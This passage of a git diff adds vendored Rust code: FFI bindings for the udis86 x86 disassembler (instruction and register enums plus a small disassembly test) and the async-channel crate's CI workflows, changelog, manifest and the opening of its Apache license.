UD_Ipushad = 516, + UD_Ipushfd = 517, + UD_Ipushfq = 518, + UD_Ipushfw = 519, + UD_Ipxor = 520, + UD_Ircl = 521, + UD_Ircpps = 522, + UD_Ircpss = 523, + UD_Ircr = 524, + UD_Irdmsr = 525, + UD_Irdpmc = 526, + UD_Irdrand = 527, + UD_Irdtsc = 528, + UD_Irdtscp = 529, + UD_Irep = 530, + UD_Irepne = 531, + UD_Iret = 532, + UD_Iretf = 533, + UD_Irol = 534, + UD_Iror = 535, + UD_Iroundpd = 536, + UD_Iroundps = 537, + UD_Iroundsd = 538, + UD_Iroundss = 539, + UD_Irsm = 540, + UD_Irsqrtps = 541, + UD_Irsqrtss = 542, + UD_Isahf = 543, + UD_Isalc = 544, + UD_Isar = 545, + UD_Isbb = 546, + UD_Iscasb = 547, + UD_Iscasd = 548, + UD_Iscasq = 549, + UD_Iscasw = 550, + UD_Iseta = 551, + UD_Isetae = 552, + UD_Isetb = 553, + UD_Isetbe = 554, + UD_Isetg = 555, + UD_Isetge = 556, + UD_Isetl = 557, + UD_Isetle = 558, + UD_Isetno = 559, + UD_Isetnp = 560, + UD_Isetns = 561, + UD_Isetnz = 562, + UD_Iseto = 563, + UD_Isetp = 564, + UD_Isets = 565, + UD_Isetz = 566, + UD_Isfence = 567, + UD_Isgdt = 568, + UD_Ishl = 569, + UD_Ishld = 570, + UD_Ishr = 571, + UD_Ishrd = 572, + UD_Ishufpd = 573, + UD_Ishufps = 574, + UD_Isidt = 575, + UD_Iskinit = 576, + UD_Isldt = 577, + UD_Ismsw = 578, + UD_Isqrtpd = 579, + UD_Isqrtps = 580, + UD_Isqrtsd = 581, + UD_Isqrtss = 582, + UD_Istc = 583, + UD_Istd = 584, + UD_Istgi = 585, + UD_Isti = 586, + UD_Istmxcsr = 587, + UD_Istosb = 588, + UD_Istosd = 589, + UD_Istosq = 590, + UD_Istosw = 591, + UD_Istr = 592, + UD_Isub = 593, + UD_Isubpd = 594, + UD_Isubps = 595, + UD_Isubsd = 596, + UD_Isubss = 597, + UD_Iswapgs = 598, + UD_Isyscall = 599, + UD_Isysenter = 600, + UD_Isysexit = 601, + UD_Isysret = 602, + UD_Itest = 603, + UD_Iucomisd = 604, + UD_Iucomiss = 605, + UD_Iud2 = 606, + UD_Iunpckhpd = 607, + UD_Iunpckhps = 608, + UD_Iunpcklpd = 609, + UD_Iunpcklps = 610, + UD_Ivaddpd = 611, + UD_Ivaddps = 612, + UD_Ivaddsd = 613, + UD_Ivaddss = 614, + UD_Ivaddsubpd = 615, + UD_Ivaddsubps = 616, + UD_Ivaesdec = 617, + UD_Ivaesdeclast = 618, + UD_Ivaesenc = 619, + UD_Ivaesenclast = 620, + UD_Ivaesimc = 621, + UD_Ivaeskeygenassist = 622, + UD_Ivandnpd = 623, + UD_Ivandnps = 624, + UD_Ivandpd = 625, + UD_Ivandps = 626, + UD_Ivblendpd = 627, + UD_Ivblendps = 628, + UD_Ivblendvpd = 629, + UD_Ivblendvps = 630, + UD_Ivbroadcastsd = 631, + UD_Ivbroadcastss = 632, + UD_Ivcmppd = 633, + UD_Ivcmpps = 634, + UD_Ivcmpsd = 635, + UD_Ivcmpss = 636, + UD_Ivcomisd = 637, + UD_Ivcomiss = 638, + UD_Ivcvtdq2pd = 639, + UD_Ivcvtdq2ps = 640, + UD_Ivcvtpd2dq = 641, + UD_Ivcvtpd2ps = 642, + UD_Ivcvtps2dq = 643, + UD_Ivcvtps2pd = 644, + UD_Ivcvtsd2si = 645, + UD_Ivcvtsd2ss = 646, + UD_Ivcvtsi2sd = 647, + UD_Ivcvtsi2ss = 648, + UD_Ivcvtss2sd = 649, + UD_Ivcvtss2si = 650, + UD_Ivcvttpd2dq = 651, + UD_Ivcvttps2dq = 652, + UD_Ivcvttsd2si = 653, + UD_Ivcvttss2si = 654, + UD_Ivdivpd = 655, + UD_Ivdivps = 656, + UD_Ivdivsd = 657, + UD_Ivdivss = 658, + UD_Ivdppd = 659, + UD_Ivdpps = 660, + UD_Iverr = 661, + UD_Iverw = 662, + UD_Ivextractf128 = 663, + UD_Ivextractps = 664, + UD_Ivhaddpd = 665, + UD_Ivhaddps = 666, + UD_Ivhsubpd = 667, + UD_Ivhsubps = 668, + UD_Ivinsertf128 = 669, + UD_Ivinsertps = 670, + UD_Ivlddqu = 671, + UD_Ivmaskmovdqu = 672, + UD_Ivmaskmovpd = 673, + UD_Ivmaskmovps = 674, + UD_Ivmaxpd = 675, + UD_Ivmaxps = 676, + UD_Ivmaxsd = 677, + UD_Ivmaxss = 678, + UD_Ivmcall = 679, + UD_Ivmclear = 680, + UD_Ivminpd = 681, + UD_Ivminps = 682, + UD_Ivminsd = 683, + UD_Ivminss = 684, + UD_Ivmlaunch = 685, + UD_Ivmload = 686, + UD_Ivmmcall = 687, + UD_Ivmovapd = 688, + UD_Ivmovaps = 689, + UD_Ivmovd = 690, + UD_Ivmovddup = 691, + UD_Ivmovdqa = 692, + UD_Ivmovdqu = 693, + UD_Ivmovhlps = 694, + UD_Ivmovhpd = 695, + UD_Ivmovhps = 696, + UD_Ivmovlhps = 697, + UD_Ivmovlpd = 698, + UD_Ivmovlps = 699, + UD_Ivmovmskpd = 700, + UD_Ivmovmskps = 701, + UD_Ivmovntdq = 702, + UD_Ivmovntdqa = 703, + UD_Ivmovntpd = 704, + UD_Ivmovntps = 705, + UD_Ivmovq = 706, + UD_Ivmovsd = 707, + UD_Ivmovshdup = 708, + UD_Ivmovsldup = 709, + UD_Ivmovss = 710, + UD_Ivmovupd = 711, + UD_Ivmovups = 712, + UD_Ivmpsadbw = 713, + UD_Ivmptrld = 714, + UD_Ivmptrst = 715, + UD_Ivmread = 716, + UD_Ivmresume = 717, + UD_Ivmrun = 718, + UD_Ivmsave = 719, + UD_Ivmulpd = 720, + UD_Ivmulps = 721, + UD_Ivmulsd = 722, + UD_Ivmulss = 723, + UD_Ivmwrite = 724, + UD_Ivmxoff = 725, + UD_Ivmxon = 726, + UD_Ivorpd = 727, + UD_Ivorps = 728, + UD_Ivpabsb = 729, + UD_Ivpabsd = 730, + UD_Ivpabsw = 731, + UD_Ivpackssdw = 732, + UD_Ivpacksswb = 733, + UD_Ivpackusdw = 734, + UD_Ivpackuswb = 735, + UD_Ivpaddb = 736, + UD_Ivpaddd = 737, + UD_Ivpaddq = 738, + UD_Ivpaddsb = 739, + UD_Ivpaddsw = 740, + UD_Ivpaddusb = 741, + UD_Ivpaddusw = 742, + UD_Ivpaddw = 743, + UD_Ivpalignr = 744, + UD_Ivpand = 745, + UD_Ivpandn = 746, + UD_Ivpavgb = 747, + UD_Ivpavgw = 748, + UD_Ivpblendvb = 749, + UD_Ivpblendw = 750, + UD_Ivpclmulqdq = 751, + UD_Ivpcmpeqb = 752, + UD_Ivpcmpeqd = 753, + UD_Ivpcmpeqq = 754, + UD_Ivpcmpeqw = 755, + UD_Ivpcmpestri = 756, + UD_Ivpcmpestrm = 757, + UD_Ivpcmpgtb = 758, + UD_Ivpcmpgtd = 759, + UD_Ivpcmpgtq = 760, + UD_Ivpcmpgtw = 761, + UD_Ivpcmpistri = 762, + UD_Ivpcmpistrm = 763, + UD_Ivperm2f128 = 764, + UD_Ivpermilpd = 765, + UD_Ivpermilps = 766, + UD_Ivpextrb = 767, + UD_Ivpextrd = 768, + UD_Ivpextrq = 769, + UD_Ivpextrw = 770, + UD_Ivphaddd = 771, + UD_Ivphaddsw = 772, + UD_Ivphaddw = 773, + UD_Ivphminposuw = 774, + UD_Ivphsubd = 775, + UD_Ivphsubsw = 776, + UD_Ivphsubw = 777, + UD_Ivpinsrb = 778, + UD_Ivpinsrd = 779, + UD_Ivpinsrq = 780, + UD_Ivpinsrw = 781, + UD_Ivpmaddubsw = 782, + UD_Ivpmaddwd = 783, + UD_Ivpmaxsb = 784, + UD_Ivpmaxsd = 785, + UD_Ivpmaxsw = 786, + UD_Ivpmaxub = 787, + UD_Ivpmaxud = 788, + UD_Ivpmaxuw = 789, + UD_Ivpminsb = 790, + UD_Ivpminsd = 791, + UD_Ivpminsw = 792, + UD_Ivpminub = 793, + UD_Ivpminud = 794, + UD_Ivpminuw = 795, + UD_Ivpmovmskb = 796, + UD_Ivpmovsxbd = 797, + UD_Ivpmovsxbq = 798, + UD_Ivpmovsxbw = 799, + UD_Ivpmovsxwd = 800, + UD_Ivpmovsxwq = 801, + UD_Ivpmovzxbd = 802, + UD_Ivpmovzxbq = 803, + UD_Ivpmovzxbw = 804, + UD_Ivpmovzxdq = 805, + UD_Ivpmovzxwd = 806, + UD_Ivpmovzxwq = 807, + UD_Ivpmuldq = 808, + UD_Ivpmulhrsw = 809, + UD_Ivpmulhuw = 810, + UD_Ivpmulhw = 811, + UD_Ivpmulld = 812, + UD_Ivpmullw = 813, + UD_Ivpor = 814, + UD_Ivpsadbw = 815, + UD_Ivpshufb = 816, + UD_Ivpshufd = 817, + UD_Ivpshufhw = 818, + UD_Ivpshuflw = 819, + UD_Ivpsignb = 820, + UD_Ivpsignd = 821, + UD_Ivpsignw = 822, + UD_Ivpslld = 823, + UD_Ivpslldq = 824, + UD_Ivpsllq = 825, + UD_Ivpsllw = 826, + UD_Ivpsrad = 827, + UD_Ivpsraw = 828, + UD_Ivpsrld = 829, + UD_Ivpsrldq = 830, + UD_Ivpsrlq = 831, + UD_Ivpsrlw = 832, + UD_Ivpsubb = 833, + UD_Ivpsubd = 834, + UD_Ivpsubq = 835, + UD_Ivpsubsb = 836, + UD_Ivpsubsw = 837, + UD_Ivpsubusb = 838, + UD_Ivpsubusw = 839, + UD_Ivpsubw = 840, + UD_Ivptest = 841, + UD_Ivpunpckhbw = 842, + UD_Ivpunpckhdq = 843, + UD_Ivpunpckhqdq = 844, + UD_Ivpunpckhwd = 845, + UD_Ivpunpcklbw = 846, + UD_Ivpunpckldq = 847, + UD_Ivpunpcklqdq = 848, + UD_Ivpunpcklwd = 849, + UD_Ivpxor = 850, + UD_Ivrcpps = 851, + UD_Ivrcpss = 852, + UD_Ivroundpd = 853, + UD_Ivroundps = 854, + UD_Ivroundsd = 855, + UD_Ivroundss = 856, + UD_Ivrsqrtps = 857, + UD_Ivrsqrtss = 858, + UD_Ivshufpd = 859, + UD_Ivshufps = 860, + UD_Ivsqrtpd = 861, + UD_Ivsqrtps = 862, + UD_Ivsqrtsd = 863, + UD_Ivsqrtss = 864, + UD_Ivstmxcsr = 865, + UD_Ivsubpd = 866, + UD_Ivsubps = 867, + UD_Ivsubsd = 868, + UD_Ivsubss = 869, + UD_Ivtestpd = 870, + UD_Ivtestps = 871, + UD_Ivucomisd = 872, + UD_Ivucomiss = 873, + UD_Ivunpckhpd = 874, + UD_Ivunpckhps = 875, + UD_Ivunpcklpd = 876, + UD_Ivunpcklps = 877, + UD_Ivxorpd = 878, + UD_Ivxorps = 879, + UD_Ivzeroall = 880, + UD_Ivzeroupper = 881, + UD_Iwait = 882, + UD_Iwbinvd = 883, + UD_Iwrmsr = 884, + UD_Ixadd = 885, + UD_Ixchg = 886, + UD_Ixcryptcbc = 887, + UD_Ixcryptcfb = 888, + UD_Ixcryptctr = 889, + UD_Ixcryptecb = 890, + UD_Ixcryptofb = 891, + UD_Ixgetbv = 892, + UD_Ixlatb = 893, + UD_Ixor = 894, + UD_Ixorpd = 895, + UD_Ixorps = 896, + UD_Ixrstor = 897, + UD_Ixsave = 898, + UD_Ixsetbv = 899, + UD_Ixsha1 = 900, + UD_Ixsha256 = 901, + UD_Ixstore = 902, + UD_Iinvalid = 903, + UD_I3dnow = 904, + UD_Inone = 905, + UD_Idb = 906, + UD_Ipause = 907, + UD_MAX_MNEMONIC_CODE = 908, +} + +extern "C" { + #[no_mangle] + pub static mut ud_mnemonics_str: *mut *const libc::c_char; +} diff --git a/lib/libudis86-sys/src/lib.rs b/lib/libudis86-sys/src/lib.rs new file mode 100644 index 0000000..aa95875 --- /dev/null +++ b/lib/libudis86-sys/src/lib.rs @@ -0,0 +1,52 @@ +#![allow(non_camel_case_types)] +#![allow(improper_ctypes)] +extern crate libc; + +pub use api::*; +pub use itab::*; +pub use types::*; + +mod api; +mod itab; +mod types; + +#[cfg(test)] +mod tests { + use std::ffi::CStr; + use std::mem; + use super::*; + + #[test] + fn it_works() { + let data = [ + // mov eax, [edx + esi*4] + 0x8B, 0x04, 0xB2, + // nop + 0x90, + ]; + + unsafe { + let mut object = mem::zeroed(); + ud_init(&mut object); + ud_set_input_buffer(&mut object, data.as_ptr(), data.len()); + ud_set_mode(&mut object, 32); + ud_set_syntax(&mut object, Some(ud_translate_intel)); + + assert_eq!(ud_disassemble(&mut object), 3); + + let operand = ud_insn_opr(&object, 0).as_ref().unwrap(); + assert_eq!(operand.otype, ud_type::UD_OP_REG); + assert_eq!(operand.base, ud_type::UD_R_EAX); + + let operand = ud_insn_opr(&object, 1).as_ref().unwrap(); + assert_eq!(operand.otype, ud_type::UD_OP_MEM); + assert_eq!(operand.base, ud_type::UD_R_EDX); + assert_eq!(operand.index, ud_type::UD_R_ESI); + assert_eq!(operand.scale, 4); + + assert_eq!(ud_disassemble(&mut object), 1); + let instruction = ud_insn_asm(&mut object); + assert_eq!(CStr::from_ptr(instruction).to_string_lossy(), "nop"); + } + } +} diff --git a/lib/libudis86-sys/src/types.rs b/lib/libudis86-sys/src/types.rs new file mode 100644 index 0000000..9fcc16e --- /dev/null +++ b/lib/libudis86-sys/src/types.rs @@ -0,0 +1,275 @@ +use std::fmt; +use libc; + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_type { + UD_NONE = 0, + UD_R_AL = 1, + UD_R_CL = 2, + UD_R_DL = 3, + UD_R_BL = 4, + UD_R_AH = 5, + UD_R_CH = 6, + UD_R_DH = 7, + UD_R_BH = 8, + UD_R_SPL = 9, + UD_R_BPL = 10, + UD_R_SIL = 11, + UD_R_DIL = 12, + UD_R_R8B = 13, + UD_R_R9B = 14, + UD_R_R10B = 15, + UD_R_R11B = 16, + UD_R_R12B = 17, + UD_R_R13B = 18, + UD_R_R14B = 19, + UD_R_R15B = 20, + UD_R_AX = 21, + UD_R_CX = 22, + UD_R_DX = 23, + UD_R_BX = 24, + UD_R_SP = 25, + UD_R_BP = 26, + UD_R_SI = 27, + UD_R_DI = 28, + UD_R_R8W = 29, + UD_R_R9W = 30, + UD_R_R10W = 31, + UD_R_R11W = 32, + UD_R_R12W = 33, + UD_R_R13W = 34, + UD_R_R14W = 35, + UD_R_R15W = 36, + UD_R_EAX = 37, + UD_R_ECX = 38, + UD_R_EDX = 39, + UD_R_EBX = 40, + UD_R_ESP = 41, + UD_R_EBP = 42, + UD_R_ESI = 43, + UD_R_EDI = 44, + UD_R_R8D = 45, + UD_R_R9D = 46, + UD_R_R10D = 47, + UD_R_R11D = 48, + UD_R_R12D = 49, + UD_R_R13D = 50, + UD_R_R14D = 51, + UD_R_R15D = 52, + UD_R_RAX = 53, + UD_R_RCX = 54, + UD_R_RDX = 55, + UD_R_RBX = 56, + UD_R_RSP = 57, + UD_R_RBP = 58, + UD_R_RSI = 59, + UD_R_RDI = 60, + UD_R_R8 = 61, + UD_R_R9 = 62, + UD_R_R10 = 63, + UD_R_R11 = 64, + UD_R_R12 = 65, + UD_R_R13 = 66, + UD_R_R14 = 67, + UD_R_R15 = 68, + UD_R_ES = 69, + UD_R_CS = 70, + UD_R_SS = 71, + UD_R_DS = 72, + UD_R_FS = 73, + UD_R_GS = 74, + UD_R_CR0 = 75, + UD_R_CR1 = 76, + UD_R_CR2 = 77, + UD_R_CR3 = 78, + UD_R_CR4 = 79, + UD_R_CR5 = 80, + UD_R_CR6 = 81, + UD_R_CR7 = 82, + UD_R_CR8 = 83, + UD_R_CR9 = 84, + UD_R_CR10 = 85, + UD_R_CR11 = 86, + UD_R_CR12 = 87, + UD_R_CR13 = 88, + UD_R_CR14 = 89, + UD_R_CR15 = 90, + UD_R_DR0 = 91, + UD_R_DR1 = 92, + UD_R_DR2 = 93, + UD_R_DR3 = 94, + UD_R_DR4 = 95, + UD_R_DR5 = 96, + UD_R_DR6 = 97, + UD_R_DR7 = 98, + UD_R_DR8 = 99, + UD_R_DR9 = 100, + UD_R_DR10 = 101, + UD_R_DR11 = 102, + UD_R_DR12 = 103, + UD_R_DR13 = 104, + UD_R_DR14 = 105, + UD_R_DR15 = 106, + UD_R_MM0 = 107, + UD_R_MM1 = 108, + UD_R_MM2 = 109, + UD_R_MM3 = 110, + UD_R_MM4 = 111, + UD_R_MM5 = 112, + UD_R_MM6 = 113, + UD_R_MM7 = 114, + UD_R_ST0 = 115, + UD_R_ST1 = 116, + UD_R_ST2 = 117, + UD_R_ST3 = 118, + UD_R_ST4 = 119, + UD_R_ST5 = 120, + UD_R_ST6 = 121, + UD_R_ST7 = 122, + UD_R_XMM0 = 123, + UD_R_XMM1 = 124, + UD_R_XMM2 = 125, + UD_R_XMM3 = 126, + UD_R_XMM4 = 127, + UD_R_XMM5 = 128, + UD_R_XMM6 = 129, + UD_R_XMM7 = 130, + UD_R_XMM8 = 131, + UD_R_XMM9 = 132, + UD_R_XMM10 = 133, + UD_R_XMM11 = 134, + UD_R_XMM12 = 135, + UD_R_XMM13 = 136, + UD_R_XMM14 = 137, + UD_R_XMM15 = 138, + UD_R_YMM0 = 139, + UD_R_YMM1 = 140, + UD_R_YMM2 = 141, + UD_R_YMM3 = 142, + UD_R_YMM4 = 143, + UD_R_YMM5 = 144, + UD_R_YMM6 = 145, + UD_R_YMM7 = 146, + UD_R_YMM8 = 147, + UD_R_YMM9 = 148, + UD_R_YMM10 = 149, + UD_R_YMM11 = 150, + UD_R_YMM12 = 151, + UD_R_YMM13 = 152, + UD_R_YMM14 = 153, + UD_R_YMM15 = 154, + UD_R_RIP = 155, + UD_OP_REG = 156, + UD_OP_MEM = 157, + UD_OP_PTR = 158, + UD_OP_IMM = 159, + UD_OP_JIMM = 160, + UD_OP_CONST = 161, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union ud_lval { + pub sbyte: i8, + pub ubyte: u8, + pub sword: i16, + pub uword: u16, + pub sdword: i32, + pub udword: u32, + pub sqword: i64, + pub uqword: u64, + pub ptr: ud_lval_ptr, +} + +impl fmt::Debug for ud_lval { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "ud_lval {{ union }}") + } +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct ud_lval_ptr { + pub seg: u16, + pub off: u32, +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct ud_operand { + pub otype: ud_type, + pub size: u16, + pub base: ud_type, + pub index: ud_type, + pub scale: u8, + pub offset: u8, + pub lval: ud_lval, + pub _legacy: u64, + pub _oprcode: u8, +} + +#[repr(C)] +pub struct ud { + // + // Input buffering + // + pub inp_hook: ::std::option::Option libc::c_int>, + pub inp_file: *mut libc::FILE, + pub inp_buf: *const u8, + pub inp_buf_size: usize, + pub inp_buf_index: usize, + pub inp_curr: u8, + pub inp_ctr: usize, + pub inp_sess: [u8; 64usize], + pub inp_end: libc::c_int, + pub inp_peek: libc::c_int, + + pub translator: ::std::option::Option, + pub insn_offset: u64, + pub insn_hexcode: [libc::c_char; 64usize], + + // + // Assembly output buffer + // + pub asm_buf: *mut libc::c_char, + pub asm_buf_size: usize, + pub asm_buf_fill: usize, + pub asm_buf_int: [libc::c_char; 128usize], + + // + // Symbol resolver for use in the translation phase. + // + pub sym_resolver: ::std::option::Option *const libc::c_char>, + + pub dis_mode: u8, + pub pc: u64, + pub vendor: u8, + pub mnemonic: ::itab::ud_mnemonic_code, + pub operand: [ud_operand; 4usize], + pub error: u8, + pub _rex: u8, + pub pfx_rex: u8, + pub pfx_seg: u8, + pub pfx_opr: u8, + pub pfx_adr: u8, + pub pfx_lock: u8, + pub pfx_str: u8, + pub pfx_rep: u8, + pub pfx_repe: u8, + pub pfx_repne: u8, + pub opr_mode: u8, + pub adr_mode: u8, + pub br_far: u8, + pub br_near: u8, + pub have_modrm: u8, + pub modrm: u8, + pub modrm_offset: u8, + pub vex_op: u8, + pub vex_b1: u8, + pub vex_b2: u8, + pub primary_opcode: u8, + pub user_opaque_data: *mut libc::c_void, + pub itab_entry: *mut (), + pub le: *mut (), +} diff --git a/lib/malio/async-channel/.github/dependabot.yml b/lib/malio/async-channel/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-channel/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-channel/.github/workflows/ci.yml b/lib/malio/async-channel/.github/workflows/ci.yml new file mode 100644 index 0000000..f5ec4e0 --- /dev/null +++ b/lib/malio/async-channel/.github/workflows/ci.yml @@ -0,0 +1,90 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --no-default-features + - run: cargo test --features portable-atomic + - run: cargo test --no-default-features --features portable-atomic + - name: Install cargo-hack and wasm-pack + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions,wasm-pack + - run: rustup target add thumbv6m-none-eabi thumbv7m-none-eabi + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + run: cargo hack build --feature-powerset --no-dev-deps + - name: Run cargo check for no-std target with atomic CAS + run: cargo hack build --feature-powerset --no-dev-deps --target thumbv7m-none-eabi --skip std,default + - name: Run cargo check for no-std target without atomic CAS + run: cargo hack build --feature-powerset --no-dev-deps --target thumbv6m-none-eabi --skip std,default --features portable-atomic,portable-atomic/critical-section + - name: Run cargo check for WASM + run: cargo check --all --all-features --all-targets --target wasm32-unknown-unknown + - name: Test WASM + run: wasm-pack test --headless --chrome + - run: cargo minimal-versions build --all + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --feature-powerset --no-dev-deps --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/async-channel/.github/workflows/release.yml b/lib/malio/async-channel/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-channel/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-channel/.gitignore b/lib/malio/async-channel/.gitignore new file mode 100644 index 0000000..6936990 --- /dev/null +++ b/lib/malio/async-channel/.gitignore @@ -0,0 +1,3 @@ +/target +**/*.rs.bk +Cargo.lock diff --git a/lib/malio/async-channel/CHANGELOG.md b/lib/malio/async-channel/CHANGELOG.md new file mode 100644 index 0000000..afe13b1 --- /dev/null +++ b/lib/malio/async-channel/CHANGELOG.md @@ -0,0 +1,107 @@ +# Version 2.5.0 + +- Add `Sender::closed()` (#102) + +# Version 2.4.0 + +- Add `Sender::same_channel()` and `Receiver::same_channel()`. (#98) +- Add `portable-atomic` feature to support platforms without atomics. (#106) + +# Version 2.3.1 + +- Use the correct version of `async-channel` in our manifest. (#93) + +# Version 2.3.0 + +- Add `force_send` for sending items over the channel that displace other items. (#89) + +# Version 2.2.1 + +- Fix the CI badge in the `crates.io` page. (#84) + +# Version 2.2.0 + +- Bump `event-listener` to v5.0.0. (#79) +- Bump MSRV to 1.60. (#80) + +# Version 2.1.1 + +- Bump `event-listener` to v4.0.0. (#73) + +# Version 2.1.0 + +- Bump `futures-lite` to its latest version. (#70) + +# Version 2.0.0 + +- **Breaking:** Make `Send`, `Recv` and `Receiver` `!Unpin`. This enables more efficient event notification strategies. (#59) +- **Breaking:** Add an `std` enabled-by-default feature that enables parts of the API that require `std`. (#59) +- Add support for the `wasm32` target. (#67) + +# Version 1.9.0 + +- Fix a bug where `WeakSender/WeakReceiver` could incorrectly return `Some` even if the channel is already closed (#60) +- Remove the unnecessary `T: Clone` bound from `WeakSender/WeakReceiver`'s `Clone` implementation (#62) + +# Version 1.8.0 + +- Prevent deadlock if sender/receiver is forgotten (#49) +- Add weak sender and receiver (#51) +- Update `concurrent-queue` to v2 (#50) + +# Version 1.7.1 + +- Work around MSRV increase due to a cargo bug. + +# Version 1.7.0 + +- Add `send_blocking` and `recv_blocking` (#47) + +# Version 1.6.1 + +- Make `send` return `Send` (#34) + +# Version 1.6.0 + +- Added `Send` and `Recv` futures (#33) +- impl `FusedStream` for `Receiver` (#30) + +# Version 1.5.1 + +- Fix typos in the docs. + +# Version 1.5.0 + +- Add `receiver_count()` and `sender_count()`. + +# Version 1.4.2 + +- Fix a bug that would sometime cause 100% CPU usage. + +# Version 1.4.1 + +- Update dependencies. + +# Version 1.4.0 + +- Update dependencies. + +# Version 1.3.0 + +- Add `Sender::is_closed()` and `Receiver::is_closed()`. + +# Version 1.2.0 + +- Add `Sender::close()` and `Receiver::close()`. + +# Version 1.1.1 + +- Replace `usize::MAX` with `std::usize::MAX`. + +# Version 1.1.0 + +- Add methods to error types. + +# Version 1.0.0 + +- Initial version diff --git a/lib/malio/async-channel/Cargo.toml b/lib/malio/async-channel/Cargo.toml new file mode 100644 index 0000000..8c23891 --- /dev/null +++ b/lib/malio/async-channel/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "async-channel" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.60" +description = "Async multi-producer multi-consumer channel" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-channel" +keywords = ["mpmc", "mpsc", "spmc", "chan", "futures"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +concurrent-queue = { version = "2.5", default-features = false } +event-listener-strategy = { version = "0.5.4", default-features = false } +futures-core = { version = "0.3.5", default-features = false } +pin-project-lite = "0.2.11" + +portable-atomic = { version = "1", default-features = false, features = ["require-cas"], optional = true } +portable-atomic-util = { version = "0.2", default-features = false, features = ["alloc"], optional = true } + +[dev-dependencies] +easy-parallel = "3" +futures-lite = "2" + +[target.'cfg(target_family = "wasm")'.dev-dependencies] +wasm-bindgen-test = "0.3.37" + +[features] +default = ["std"] +std = ["concurrent-queue/std", "event-listener-strategy/std"] +portable-atomic = ["concurrent-queue/portable-atomic", "event-listener-strategy/portable-atomic", "dep:portable-atomic-util", "dep:portable-atomic"] diff --git a/lib/malio/async-channel/LICENSE-APACHE b/lib/malio/async-channel/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-channel/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the 